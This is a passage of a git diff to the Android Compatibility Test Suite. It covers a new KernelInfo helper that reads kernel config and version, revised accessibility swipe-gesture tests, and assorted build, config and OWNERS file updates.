-            } catch (IOException e) {
-                fail(e);
-            }
-        }
-    }
-
-    private void assertDeviceFileExists(String s) throws DeviceNotAvailableException {
-        assertTrue(getDevice().doesFileExist(s));
-    }
-
-    private void assertDevicePathExists(PathPair path) throws DeviceNotAvailableException {
-        assertDeviceFileExists(path.devicePath);
-    }
-
-    private void assertDeviceDirContainsDistro(PathPair distroPath, byte[] expectedDistroBytes)
-            throws Exception {
-        // Pull back just the version file and compare it.
-        File localFile = mTestRootDir.createSubPath("temp.file").hostFile();
-        try {
-            String remoteVersionFile = distroPath.devicePath + "/"
-                    + TimeZoneDistro.DISTRO_VERSION_FILE_NAME;
-            assertTrue("Could not pull file " + remoteVersionFile + " to " + localFile,
-                    getDevice().pullFile(remoteVersionFile, localFile));
-
-            byte[] bytes = Files.readAllBytes(localFile.toPath());
-            assertArrayEquals(bytes,
-                    new TimeZoneDistro(expectedDistroBytes).getDistroVersion().toBytes());
-        } finally {
-            localFile.delete();
-        }
-    }
-
-    private void assertDevicePathDoesNotExist(PathPair path) throws DeviceNotAvailableException {
-        assertFalse(getDevice().doesFileExist(path.devicePath));
-    }
-
-    private void assertDevicePathIsFile(PathPair path) throws DeviceNotAvailableException {
-        // This check cannot rely on getDevice().getFile(devicePath).isDirectory() here because that
-        // requires that the user has rights to list all files beneath each and every directory in
-        // the path. That is not the case for the shell user and the /data and /data/local
-        // directories. http://b/35753041.
-        String output = executeCommandOnDeviceRaw("stat -c %F " + path.devicePath);
-        assertTrue(path.devicePath + " not a file. Received: " + output,
-                output.startsWith("regular") && output.endsWith("file\n"));
-    }
-
-    private static DeviceNotAvailableException deviceFail(Exception e)
-            throws DeviceNotAvailableException {
-        if (e instanceof DeviceNotAvailableException) {
-            throw (DeviceNotAvailableException) e;
-        }
-        fail(e);
-        return null;
-    }
-
-    private static void fail(Exception e) {
-        e.printStackTrace();
-        fail(e.getMessage());
-    }
-
-    /** A path that has equivalents on both host and device. */
-    private static class PathPair {
-        private final Path hostPath;
-        private final String devicePath;
-
-        PathPair(Path hostPath, String devicePath) {
-            this.hostPath = hostPath;
-            this.devicePath = devicePath;
-        }
-
-        File hostFile() {
-            return hostPath.toFile();
-        }
-
-        PathPair createSubPath(String s) {
-            return new PathPair(hostPath.resolve(s), devicePath + "/" + s);
-        }
-    }
-}
diff --git a/libs/input/src/com/android/cts/input/VirtualInputDevice.java b/libs/input/src/com/android/cts/input/VirtualInputDevice.java
index 5c8879c..483b454 100644
--- a/libs/input/src/com/android/cts/input/VirtualInputDevice.java
+++ b/libs/input/src/com/android/cts/input/VirtualInputDevice.java
@@ -227,10 +227,15 @@
             return;
         }
         // Check if the device is what we expected
-        if (device.getVendorId() == mVendorId && device.getProductId() == mProductId
-                && (device.getSources() & mSources) == mSources) {
-            mDeviceId = device.getId();
-            mDeviceAddedSignal.countDown();
+        if (device.getVendorId() == mVendorId && device.getProductId() == mProductId) {
+            if ((device.getSources() & mSources) == mSources) {
+                mDeviceId = device.getId();
+                mDeviceAddedSignal.countDown();
+            } else {
+                Log.i(TAG, "Mismatching sources for " + device);
+            }
+        } else {
+            Log.w(TAG, "Unexpected input device: " + device);
         }
     }
 
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0481/Android.bp b/libs/kernelinfo/Android.bp
similarity index 63%
copy from hostsidetests/securitybulletin/test-apps/CVE-2021-0481/Android.bp
copy to libs/kernelinfo/Android.bp
index ec76abd..5fcbf38 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0481/Android.bp
+++ b/libs/kernelinfo/Android.bp
@@ -1,4 +1,4 @@
-// Copyright (C) 2021 The Android Open Source Project
+// Copyright (C) 2022 The Android Open Source Project
 //
 // Licensed under the Apache License, Version 2.0 (the "License");
 // you may not use this file except in compliance with the License.
@@ -16,20 +16,13 @@
     default_applicable_licenses: ["Android-Apache-2.0"],
 }
 
-android_test_helper_app {
-    name: "CVE-2021-0481",
-    defaults: ["cts_support_defaults"],
-    srcs: ["src/**/*.java"],
-    test_suites: [
-        "cts",
-        "vts10",
-        "sts",
+java_library_static {
+    name: "cts-kernelinfo-lib",
+    sdk_version: "test_current",
+    srcs: [
+        "src/**/*.kt",
     ],
     static_libs: [
         "androidx.test.rules",
-        "androidx.test.uiautomator_uiautomator",
-        "androidx.test.core",
-        "androidx.appcompat_appcompat",
     ],
-    sdk_version: "current",
 }
diff --git a/libs/kernelinfo/OWNERS b/libs/kernelinfo/OWNERS
new file mode 100644
index 0000000..1344314
--- /dev/null
+++ b/libs/kernelinfo/OWNERS
@@ -0,0 +1,7 @@
+arthurhung@google.com
+hcutts@google.com
+joseprio@google.com
+michaelwr@google.com
+prabirmsp@google.com
+svv@google.com
+vdevmurari@google.com
\ No newline at end of file
diff --git a/libs/kernelinfo/src/com/android/cts/kernelinfo/KernelInfo.kt b/libs/kernelinfo/src/com/android/cts/kernelinfo/KernelInfo.kt
new file mode 100644
index 0000000..1ce3bd9
--- /dev/null
+++ b/libs/kernelinfo/src/com/android/cts/kernelinfo/KernelInfo.kt
@@ -0,0 +1,100 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.kernelinfo
+
+import android.app.UiAutomation
+import android.os.ParcelFileDescriptor
+import android.os.VintfRuntimeInfo
+import android.text.TextUtils
+import android.util.Pair
+import androidx.test.platform.app.InstrumentationRegistry
+import java.io.BufferedReader
+import java.io.InputStream
+import java.io.InputStreamReader
+import java.util.regex.Pattern
+import java.util.stream.Collectors
+import org.junit.Assert.fail
+
+private fun isComment(s: String): Boolean {
+    return s.trim().startsWith("#")
+}
+
+private fun compareMajorMinorVersion(s1: String, s2: String): Int {
+    val v1: Pair<Int, Int> = getVersionFromString(s1)
+    val v2: Pair<Int, Int> = getVersionFromString(s2)
+    return if (v1.first == v2.first) {
+        Integer.compare(v1.second, v2.second)
+    } else {
+        Integer.compare(v1.first, v2.first)
+    }
+}
+
+private fun getVersionFromString(version: String): Pair<Int, Int> {
+    // Only gets major and minor number of the version string.
+    val versionPattern = Pattern.compile("^(\\d+)(\\.(\\d+))?.*")
+    val m = versionPattern.matcher(version)
+    if (!m.matches()) {
+        fail("Cannot parse kernel version: $version")
+    }
+    val major = m.group(1).toInt()
+    val minor = if (TextUtils.isEmpty(m.group(3))) 0 else m.group(3).toInt()
+    return Pair(major, minor)
+}
+
+/**
+ * A class that reads various kernel properties
+ */
+abstract class KernelInfo {
+    companion object {
+        /*
+         * The kernel configs on this device. The value is cached.
+         */
+        private val sConfigs: Set<String>
+
+        /**
+         * Return true if the specified config is enabled, false otherwise.
+         */
+        @JvmStatic
+        fun hasConfig(config: String): Boolean {
+            return sConfigs.contains("$config=y") || sConfigs.contains("$config=m")
+        }
+
+        /**
+         * Return true if the device's kernel version is newer than the provided version,
+         * false otherwise
+         */
+        @JvmStatic
+        fun isKernelVersionGreaterThan(version: String): Boolean {
+            val actualVersion = VintfRuntimeInfo.getKernelVersion()
+            return compareMajorMinorVersion(actualVersion, version) > 0
+        }
+
+        init {
+            val automation: UiAutomation = InstrumentationRegistry.getInstrumentation().uiAutomation
+            // Access /proc/config.gz from the shell domain, because it cannot be accessed from the
+            // app domain
+            val stdout: ParcelFileDescriptor =
+                    automation.executeShellCommand("zcat /proc/config.gz")
+            val inputStream: InputStream = ParcelFileDescriptor.AutoCloseInputStream(stdout)
+            inputStream.use {
+                val reader = BufferedReader(InputStreamReader(inputStream))
+                // Remove any lines that are comments
+                sConfigs = reader.lines().filter { !isComment(it) }.collect(Collectors.toSet())
+            }
+        }
+    }
+}
diff --git a/tests/AlarmManager/AndroidTest.xml b/tests/AlarmManager/AndroidTest.xml
index a2f4521..161a887 100644
--- a/tests/AlarmManager/AndroidTest.xml
+++ b/tests/AlarmManager/AndroidTest.xml
@@ -20,6 +20,7 @@
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
 
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/tests/BlobStore/Android.bp b/tests/BlobStore/Android.bp
index 7fcb613..e1173d4 100644
--- a/tests/BlobStore/Android.bp
+++ b/tests/BlobStore/Android.bp
@@ -36,7 +36,13 @@
         "cts",
         "general-tests",
     ],
-    sdk_version: "test_current"
+    sdk_version: "test_current",
+    data: [
+        ":CtsBlobStoreTestHelper",
+        ":CtsBlobStoreTestHelperDiffSig",
+        ":CtsBlobStoreTestHelperDiffSig2",
+    ],
+    per_testcase_directory: true,
 }
 
 android_test_helper_app {
diff --git a/tests/JobScheduler/src/android/jobscheduler/cts/JobThrottlingTest.java b/tests/JobScheduler/src/android/jobscheduler/cts/JobThrottlingTest.java
index 8ab63ca..4de9f10 100644
--- a/tests/JobScheduler/src/android/jobscheduler/cts/JobThrottlingTest.java
+++ b/tests/JobScheduler/src/android/jobscheduler/cts/JobThrottlingTest.java
@@ -945,6 +945,10 @@
 
     @Test
     public void testRestrictingStopReason_Quota() throws Exception {
+        assumeTrue("app standby not enabled", mAppStandbyEnabled);
+        assumeFalse("not testable in automotive device", mAutomotiveDevice);
+        assumeFalse("not testable in leanback device", mLeanbackOnly);
+
         // Reduce allowed time for testing.
         mDeviceConfigStateHelper.set("qc_allowed_time_per_period_ms", "60000");
         BatteryUtils.runDumpsysBatteryUnplug();
diff --git a/tests/JobSchedulerSharedUid/OWNERS b/tests/JobSchedulerSharedUid/OWNERS
index ef7929f..c1b2b78 100644
--- a/tests/JobSchedulerSharedUid/OWNERS
+++ b/tests/JobSchedulerSharedUid/OWNERS
@@ -1,2 +1,3 @@
 # Bug component: 330738
-ctate@google.com
\ No newline at end of file
+
+include /tests/JobScheduler/OWNERS
\ No newline at end of file
diff --git a/tests/MediaProviderTranscode/AndroidTest.xml b/tests/MediaProviderTranscode/AndroidTest.xml
index 8dba741..1fdeb9e 100644
--- a/tests/MediaProviderTranscode/AndroidTest.xml
+++ b/tests/MediaProviderTranscode/AndroidTest.xml
@@ -32,4 +32,8 @@
         <option name="runner" value="androidx.test.runner.AndroidJUnitRunner" />
         <option name="hidden-api-checks" value="false"/>
     </test>
+
+    <object type="module_controller" class="com.android.tradefed.testtype.suite.module.MainlineTestModuleController">
+      <option name="mainline-module-package-name" value="com.google.android.mediaprovider" />
+    </object>
 </configuration>
diff --git a/tests/ServiceKillTest/app/src/com/android/cts/servicekilltestapp/ServiceKillTestService.java b/tests/ServiceKillTest/app/src/com/android/cts/servicekilltestapp/ServiceKillTestService.java
index 56384ad..6019fe4 100644
--- a/tests/ServiceKillTest/app/src/com/android/cts/servicekilltestapp/ServiceKillTestService.java
+++ b/tests/ServiceKillTest/app/src/com/android/cts/servicekilltestapp/ServiceKillTestService.java
@@ -116,9 +116,13 @@
         @Override
         public void run() {
             logDebug("Main");
-            mCurrentBenchmark.addEvent(Benchmark.Measure.MAIN, SystemClock.elapsedRealtime());
+            if (mWakeLock.isHeld()) {
+                mCurrentBenchmark.addEvent(Benchmark.Measure.MAIN, SystemClock.elapsedRealtime());
+                saveBenchmarkIfRequired(mCurrentBenchmark);
+            } else {
+                Log.w(TAG, "Wake lock broken");
+            }
             mHandler.postDelayed(this, MAIN_REPEAT_MS);
-            saveBenchmarkIfRequired(mCurrentBenchmark);
         }
     };
 
@@ -269,8 +273,12 @@
                 logDebug("Work");
                 long now = SystemClock.elapsedRealtime();
                 mHandler.post(() -> {
-                    mCurrentBenchmark.addEvent(Benchmark.Measure.WORK, now);
-                    saveBenchmarkIfRequired(mCurrentBenchmark);
+                    if (mWakeLock.isHeld()) {
+                        mCurrentBenchmark.addEvent(Benchmark.Measure.WORK, now);
+                        saveBenchmarkIfRequired(mCurrentBenchmark);
+                    } else {
+                        Log.w(TAG, "Wake lock broken");
+                    }
                 });
             } catch (Throwable t) {
                 Log.e(TAG, "Error in scheduled execution ", t);
diff --git a/tests/accessibilityservice/Android.bp b/tests/accessibilityservice/Android.bp
index 3f5d8c7..f65d58d 100644
--- a/tests/accessibilityservice/Android.bp
+++ b/tests/accessibilityservice/Android.bp
@@ -39,5 +39,9 @@
         "general-tests",
     ],
     sdk_version: "test_current",
-    data: [":CtsAccessibilityWidgetProvider"],
+    per_testcase_directory: true,
+    data: [
+        ":CtsInputMethod1",
+        ":CtsAccessibilityWidgetProvider",
+    ],
 }
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityGestureDetectorTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityGestureDetectorTest.java
index 089aa58..31a30347 100755
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityGestureDetectorTest.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityGestureDetectorTest.java
@@ -46,6 +46,7 @@
 import android.graphics.Path;
 import android.graphics.Point;
 import android.graphics.PointF;
+import android.graphics.RectF;
 import android.platform.test.annotations.AppModeFull;
 import android.util.DisplayMetrics;
 import android.view.Display;
@@ -104,6 +105,7 @@
     Point mCenter; // Center of screen. Gestures all start from this point.
     PointF mTapLocation;
     int mScaledTouchSlop;
+    RectF mDisplayBounds;
     int mMaxAdjustedStrokeLenPxX;
     int mMaxAdjustedStrokeLenPxY;
     @Mock AccessibilityService.GestureResultCallback mGestureDispatchCallback;
@@ -144,8 +146,7 @@
         mStrokeLenPxX = (int) (GESTURE_LENGTH_INCHES * metrics.xdpi);
         // The threshold is determined by xdpi.
         mStrokeLenPxY = mStrokeLenPxX;
-        mMaxAdjustedStrokeLenPxX = metrics.widthPixels / 2;
-        mMaxAdjustedStrokeLenPxY = metrics.heightPixels / 2;
+        mDisplayBounds = new RectF(0.0f, 0.0f, (float) metrics.widthPixels, (float) metrics.heightPixels);
         final boolean screenWideEnough = metrics.widthPixels / 2 > mStrokeLenPxX;
         final boolean screenHighEnough =  metrics.heightPixels / 2 > mStrokeLenPxY;
         mScreenBigEnough = screenWideEnough && screenHighEnough;
@@ -312,38 +313,30 @@
                 AccessibilityService.GESTURE_4_FINGER_TRIPLE_TAP,
                 displayId);
 
-        testGesture(
-                MultiFingerSwipe(displayId, 3, 0, dy),
-                AccessibilityService.GESTURE_3_FINGER_SWIPE_DOWN,
-                displayId);
-        testGesture(
-                MultiFingerSwipe(displayId, 3, -dx, 0),
-                AccessibilityService.GESTURE_3_FINGER_SWIPE_LEFT,
-                displayId);
-        testGesture(
-                MultiFingerSwipe(displayId, 3, dx, 0),
-                AccessibilityService.GESTURE_3_FINGER_SWIPE_RIGHT,
-                displayId);
-        testGesture(
-                MultiFingerSwipe(displayId, 3, 0, -dy),
-                AccessibilityService.GESTURE_3_FINGER_SWIPE_UP,
-                displayId);
-        testGesture(
-                MultiFingerSwipe(displayId, 4, 0, dy),
-                AccessibilityService.GESTURE_4_FINGER_SWIPE_DOWN,
-                displayId);
-        testGesture(
-                MultiFingerSwipe(displayId, 4, -dx, 0),
-                AccessibilityService.GESTURE_4_FINGER_SWIPE_LEFT,
-                displayId);
-        testGesture(
-                MultiFingerSwipe(displayId, 4, dx, 0),
-                AccessibilityService.GESTURE_4_FINGER_SWIPE_RIGHT,
-                displayId);
-        testGesture(
-                MultiFingerSwipe(displayId, 4, 0, -dy),
-                AccessibilityService.GESTURE_4_FINGER_SWIPE_UP,
-                displayId);
+        testMultiSwipeGesture(
+                displayId, 3, 0, dy,
+                AccessibilityService.GESTURE_3_FINGER_SWIPE_DOWN);
+        testMultiSwipeGesture(
+                displayId, 3, -dx, 0,
+                AccessibilityService.GESTURE_3_FINGER_SWIPE_LEFT);
+        testMultiSwipeGesture(
+                displayId, 3, dx, 0,
+                AccessibilityService.GESTURE_3_FINGER_SWIPE_RIGHT);
+        testMultiSwipeGesture(
+                displayId, 3, 0, -dy,
+                AccessibilityService.GESTURE_3_FINGER_SWIPE_UP);
+        testMultiSwipeGesture(
+                displayId, 4, 0, dy,
+                AccessibilityService.GESTURE_4_FINGER_SWIPE_DOWN);
+        testMultiSwipeGesture(
+                displayId, 4, -dx, 0,
+                AccessibilityService.GESTURE_4_FINGER_SWIPE_LEFT);
+        testMultiSwipeGesture(
+                displayId, 4, dx, 0,
+                AccessibilityService.GESTURE_4_FINGER_SWIPE_RIGHT);
+        testMultiSwipeGesture(
+                displayId, 4, 0, -dy,
+                AccessibilityService.GESTURE_4_FINGER_SWIPE_UP);
     }
 
     /** Convenient short alias to make a Point. */
@@ -396,6 +389,15 @@
         // Wait for gesture recognizer, and check recognized gesture.
         mService.assertGestureReceived(gestureId, displayId);
     }
+
+    private void testMultiSwipeGesture(
+            int displayId, int fingerCount, int dx, int dy, int gestureId) {
+        GestureDescription gesture = MultiFingerSwipe(displayId, fingerCount, dx, dy);
+        if (gesture != null) {
+            testGesture(gesture, gestureId, displayId);
+        }
+    }
+
     /** Create a path from startPoint, moving by delta1, then delta2. (delta2 may be null.) */
     Path linePath(Point startPoint, Point delta1, Point delta2) {
         Path path = new Path();
@@ -641,14 +643,18 @@
                 adjustStrokeDurationForSlop(STROKE_MS, dx, slopAdjustedDx),
                 adjustStrokeDurationForSlop(STROKE_MS, dy, slopAdjustedDy));
 
+        final float fingerOffsetSum = (fingerCount - 1) * fingerOffset;
         final PointF tapLocation = new PointF(mTapLocation);
-        final float locationOffsetX = (fingerCount - 1) * fingerOffset;
-        tapLocation.offset(dx > 0 ? -locationOffsetX : locationOffsetX , 0);
+
+        // Center the length of the swipe gesture on screen, instead of starting at the centre.
+        // This includes extra room required for multiple fingers.
+        adjustTapLocation(tapLocation, fingerOffsetSum, slopAdjustedDx, slopAdjustedDy);
+
+        // If the tap location is out of bounds, there is no room for this manoeuvre.
+        if (!mDisplayBounds.contains(tapLocation.x, tapLocation.y)) {
+            return null;
+        }
         for (int currentFinger = 0; currentFinger < fingerCount; ++currentFinger) {
-            // Make sure adjustments don't take us outside of screen boundaries.
-            assertTrue(slopAdjustedDx + (fingerOffset * currentFinger) < (mMaxAdjustedStrokeLenPxX
-                    + locationOffsetX));
-            assertTrue(slopAdjustedDy < mMaxAdjustedStrokeLenPxY);
             builder.addStroke(
                     GestureUtils.swipe(
                             add(tapLocation, fingerOffset * currentFinger, 0),
@@ -661,9 +667,9 @@
 
     private float adjustStrokeDeltaForSlop(int fingerCount, float strokeDelta) {
         if (strokeDelta > 0.0f) {
-            return Math.max(strokeDelta, fingerCount * mScaledTouchSlop + 10);
+            return strokeDelta + (fingerCount * mScaledTouchSlop);
         } else if (strokeDelta < 0.0f) {
-            return Math.min(strokeDelta, -(fingerCount * mScaledTouchSlop + 10));
+            return strokeDelta - (fingerCount * mScaledTouchSlop);
         }
         return strokeDelta;
     }
@@ -678,4 +684,21 @@
         // Adjusted delta in this case, has additional delta added due to touch slop.
         return Math.round((float) strokeDuration * absUnadjustedDelta / absAdjustedDelta);
     }
+
+    private void adjustTapLocation(
+            PointF tapLocation, float fingerOffsetSum, float strokeDeltaX, float strokeDeltaY) {
+        float offsetX = 0.0f;
+        float offsetY = 0.0f;
+        if (strokeDeltaX > 0.0f) {
+            offsetX = (strokeDeltaX + fingerOffsetSum) / -2.0f;
+        } else if (strokeDeltaX < 0.0f) {
+            offsetX = (strokeDeltaX - fingerOffsetSum) / -2.0f;
+        }
+        if (strokeDeltaY > 0.0f) {
+            offsetY = (strokeDeltaY + fingerOffsetSum) / -2.0f;
+        } else if (strokeDeltaY < 0.0f) {
+            offsetY = (strokeDeltaY - fingerOffsetSum) / -2.0f;
+        }
+        tapLocation.offset(offsetX, offsetY);
+    }
 }
diff --git a/tests/app/Android.bp b/tests/app/Android.bp
index 9fb2860..084378f 100644
--- a/tests/app/Android.bp
+++ b/tests/app/Android.bp
@@ -47,14 +47,38 @@
     test_suites: [
         "cts",
         "general-tests",
-        "sts"
+        "sts",
     ],
     instrumentation_for: "CtsAppTestStubs",
     sdk_version: "test_current",
-    min_sdk_version: "14",
+    // 21 required for multi-dex.
+    min_sdk_version: "21",
     // Disable coverage since it pushes us over the dex limit and we don't
     // actually need to measure the tests themselves.
-    jacoco: { exclude_filter: ["**"] }
+    jacoco: {
+        exclude_filter: ["**"],
+    },
+    // Even with coverage disabled, we're close to the single dex limit, so allow use of multi-dex.
+    dxflags: ["--multi-dex"],
+    data: [
+        ":CtsSimpleApp",
+        ":CtsAppTestStubs",
+        ":CtsAppTestStubsApp1",
+        ":CtsAppTestStubsApp3",
+        ":CtsAppTestStubsApp2",
+        ":CtsAppTestStubsApi30",
+        ":CtsBadProviderStubs",
+        ":CtsCantSaveState1",
+        ":CtsCantSaveState2",
+        ":NotificationDelegator",
+        ":NotificationProvider",
+        ":NotificationListener",
+        ":StorageDelegator",
+        ":CtsActivityManagerApi29",
+        ":NotificationTrampoline",
+        ":NotificationTrampolineApi30",
+    ],
+    per_testcase_directory: true,
 }
 
 android_test {
@@ -90,7 +114,7 @@
     manifest: "DownloadManagerApi28Test/AndroidManifest.xml",
     test_config: "DownloadManagerApi28Test/AndroidTest.xml",
     lint: {
-    	baseline_filename: "lint-baseline-api-28.xml",
+        baseline_filename: "lint-baseline-api-28.xml",
     },
 }
 
@@ -127,7 +151,7 @@
     manifest: "DownloadManagerInstallerTest/AndroidManifest.xml",
     test_config: "DownloadManagerInstallerTest/AndroidTest.xml",
     lint: {
-    	baseline_filename: "lint-baseline-installer.xml",
+        baseline_filename: "lint-baseline-installer.xml",
     },
 }
 
diff --git a/tests/app/NotificationListener/Android.bp b/tests/app/NotificationListener/Android.bp
index 4c43e37..adfa03d 100644
--- a/tests/app/NotificationListener/Android.bp
+++ b/tests/app/NotificationListener/Android.bp
@@ -39,6 +39,5 @@
         "androidx.test.rules",
         "platform-test-annotations",
     ],
-    platform_apis: true,
     sdk_version: "test_current",
 }
diff --git a/tests/app/NotificationProvider/Android.bp b/tests/app/NotificationProvider/Android.bp
index 4a9d084..a0c6396 100644
--- a/tests/app/NotificationProvider/Android.bp
+++ b/tests/app/NotificationProvider/Android.bp
@@ -19,7 +19,10 @@
 android_test_helper_app {
     name: "NotificationProvider",
     defaults: ["cts_support_defaults"],
-    srcs: ["**/*.java", "**/*.kt"],
+    srcs: [
+        "**/*.java",
+        "**/*.kt",
+    ],
     // Tag this module as a cts test artifact
     test_suites: [
         "cts",
@@ -27,6 +30,5 @@
         "general-tests",
         "sts",
     ],
-    platform_apis: true,
     sdk_version: "current",
 }
diff --git a/tests/app/app/src/android/app/stubs/OrientationTestUtils.java b/tests/app/app/src/android/app/stubs/OrientationTestUtils.java
index 3955bd0..9ecef54 100644
--- a/tests/app/app/src/android/app/stubs/OrientationTestUtils.java
+++ b/tests/app/app/src/android/app/stubs/OrientationTestUtils.java
@@ -22,7 +22,6 @@
 import android.content.pm.ActivityInfo;
 import android.content.res.Resources;
 import android.graphics.Rect;
-import android.view.DisplayInfo;
 
 import java.util.concurrent.CountDownLatch;
 import java.util.concurrent.TimeUnit;
@@ -53,14 +52,14 @@
     }
 
     /**
-     * Returns display original orientation and toggled orientation.
-     * @param activity context to get the display info
+     * Returns window orientation and toggled orientation.
+     * @param activity context to get the window info
      * @return The first element is original orientation and the second element is toggled
      *     orientation.
      */
     private static int[] getOrientations(final Activity activity) {
         // Check the display dimension to get the current device orientation.
-        Rect bounds = activity.getWindowManager().getCurrentWindowMetrics().getBounds();
+        final Rect bounds = activity.getWindowManager().getCurrentWindowMetrics().getBounds();
         final int originalOrientation = bounds.width() > bounds.height()
                 ? ActivityInfo.SCREEN_ORIENTATION_LANDSCAPE
                 : ActivityInfo.SCREEN_ORIENTATION_PORTRAIT;
@@ -70,8 +69,8 @@
         return new int[] { originalOrientation, newOrientation };
     }
 
-    /** Checks whether the display dimension is close to square. */
-    public static boolean isCloseToSquareDisplay(final Activity activity) {
+    /** Checks whether the window dimension is close to square. */
+    public static boolean isCloseToSquareBounds(final Activity activity) {
         final Resources resources = activity.getResources();
         final float closeToSquareMaxAspectRatio;
         try {
@@ -81,10 +80,9 @@
             // Assume device is not close to square.
             return false;
         }
-        final DisplayInfo displayInfo = new DisplayInfo();
-        activity.getDisplay().getDisplayInfo(displayInfo);
-        final int w = displayInfo.logicalWidth;
-        final int h = displayInfo.logicalHeight;
+        final Rect bounds = activity.getWindowManager().getCurrentWindowMetrics().getBounds();
+        final int w = bounds.width();
+        final int h = bounds.height();
         final float aspectRatio = Math.max(w, h) / (float) Math.min(w, h);
         return aspectRatio <= closeToSquareMaxAspectRatio;
     }
diff --git a/tests/app/src/android/app/cts/ActivityManagerProcessStateTest.java b/tests/app/src/android/app/cts/ActivityManagerProcessStateTest.java
index 42e16ac..1cd9154 100644
--- a/tests/app/src/android/app/cts/ActivityManagerProcessStateTest.java
+++ b/tests/app/src/android/app/cts/ActivityManagerProcessStateTest.java
@@ -2359,6 +2359,7 @@
             // Launch home activity, so the activity in app1 will be stopped, app1 now only has FGS,
             // we're not "finishing" the activity because removing a task could result in service
             // restart.
+            waitForAppFocus(PACKAGE_NAME_APP1,WAITFOR_MSEC);
             final Intent homeIntent = new Intent();
             homeIntent.setAction(Intent.ACTION_MAIN);
             homeIntent.addCategory(Intent.CATEGORY_HOME);
diff --git a/tests/app/src/android/app/cts/DisplayTest.java b/tests/app/src/android/app/cts/DisplayTest.java
index 93b82ab..b594492 100644
--- a/tests/app/src/android/app/cts/DisplayTest.java
+++ b/tests/app/src/android/app/cts/DisplayTest.java
@@ -66,11 +66,11 @@
         mActivity.configurationChangeObserver.startObserving();
         OrientationTestUtils.switchOrientation(mActivity);
 
-        final boolean closeToSquareDisplay = OrientationTestUtils.isCloseToSquareDisplay(mActivity);
+        final boolean closeToSquareBounds = OrientationTestUtils.isCloseToSquareBounds(mActivity);
 
         // Don't wait for the configuration to change if the
         // the display is square. In many cases it won't.
-        if (!closeToSquareDisplay) {
+        if (!closeToSquareBounds) {
             mActivity.configurationChangeObserver.await();
         }
 
@@ -83,7 +83,7 @@
         updatedDisplay.getRealSize(updatedSize);
 
         // For square screens the following assertions do not make sense and will always fail.
-        if (!closeToSquareDisplay) {
+        if (!closeToSquareBounds) {
             // Ensure that the width and height of the original instance no longer are the same. Note
             // that this will be false if the device width and height are identical.
             // Note there are cases where width and height may not all be updated, such as on docked
diff --git a/tests/appintegrity/OWNERS b/tests/appintegrity/OWNERS
new file mode 100644
index 0000000..3c4ed4f
--- /dev/null
+++ b/tests/appintegrity/OWNERS
@@ -0,0 +1,3 @@
+# Bug component: 953234
+include platform/frameworks/base:/services/core/java/com/android/server/integrity/OWNERS
+
diff --git a/tests/appsearch/Android.bp b/tests/appsearch/Android.bp
index 8ecb5aa..bf828a0 100644
--- a/tests/appsearch/Android.bp
+++ b/tests/appsearch/Android.bp
@@ -35,6 +35,11 @@
         "general-tests",
     ],
     platform_apis: true,
+    data: [
+        ":CtsAppSearchTestHelperA",
+        ":CtsAppSearchTestHelperB",
+    ],
+    per_testcase_directory: true,
 }
 
 android_test_helper_app {
diff --git a/tests/autofillservice/Android.bp b/tests/autofillservice/Android.bp
index f973d0e9..76c65d4 100644
--- a/tests/autofillservice/Android.bp
+++ b/tests/autofillservice/Android.bp
@@ -41,4 +41,9 @@
         "general-tests",
     ],
     sdk_version: "test_current",
+    data: [
+        ":TestAutofillServiceApp",
+        ":CtsMockInputMethod",
+    ],
+    per_testcase_directory: true,
 }
diff --git a/tests/autofillservice/AndroidManifest.xml b/tests/autofillservice/AndroidManifest.xml
index 28d4ebd..89c5665 100644
--- a/tests/autofillservice/AndroidManifest.xml
+++ b/tests/autofillservice/AndroidManifest.xml
@@ -24,6 +24,11 @@
     <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
     <uses-permission android:name="android.permission.INTERACT_ACROSS_USERS"/>
     <uses-permission android:name="android.permission.WRITE_SECURE_SETTINGS"/>
+    <!--  Some tests use sticky broadcasts to ensure that inline suggestion extras
+    are delivered to the IME even when its process is not running persistently.
+    This can happen when the IME is unbound as a result of enabling
+    the config_preventImeStartupUnlessTextEditor option. -->
+    <uses-permission android:name="android.permission.BROADCAST_STICKY"/>
 
     <application>
 
diff --git a/tests/autofillservice/src/android/autofillservice/cts/SessionLifecycleTest.java b/tests/autofillservice/src/android/autofillservice/cts/SessionLifecycleTest.java
index e1f1295..57c317d 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/SessionLifecycleTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/SessionLifecycleTest.java
@@ -525,6 +525,14 @@
 
         // Trigger save
         mUiBot.setTextByRelativeId(ID_USERNAME, "dude");
+
+        // It works fine for portrait but for the platforms that the default orientation
+        // is landscape, e.g. automotive. Depending on the height of the IME, the ID_LOGIN
+        // button may not be visible.
+        // In order to avoid that,
+        // generate back key event to hide IME before pressing ID_LOGIN button.
+        mUiBot.pressBack();
+
         mUiBot.selectByRelativeId(ID_LOGIN);
         mUiBot.assertSaveShowing(SAVE_DATA_TYPE_USERNAME);
 
diff --git a/tests/autofillservice/src/android/autofillservice/cts/commontests/AbstractWebViewTestCase.java b/tests/autofillservice/src/android/autofillservice/cts/commontests/AbstractWebViewTestCase.java
index 7720bc8..9522469 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/commontests/AbstractWebViewTestCase.java
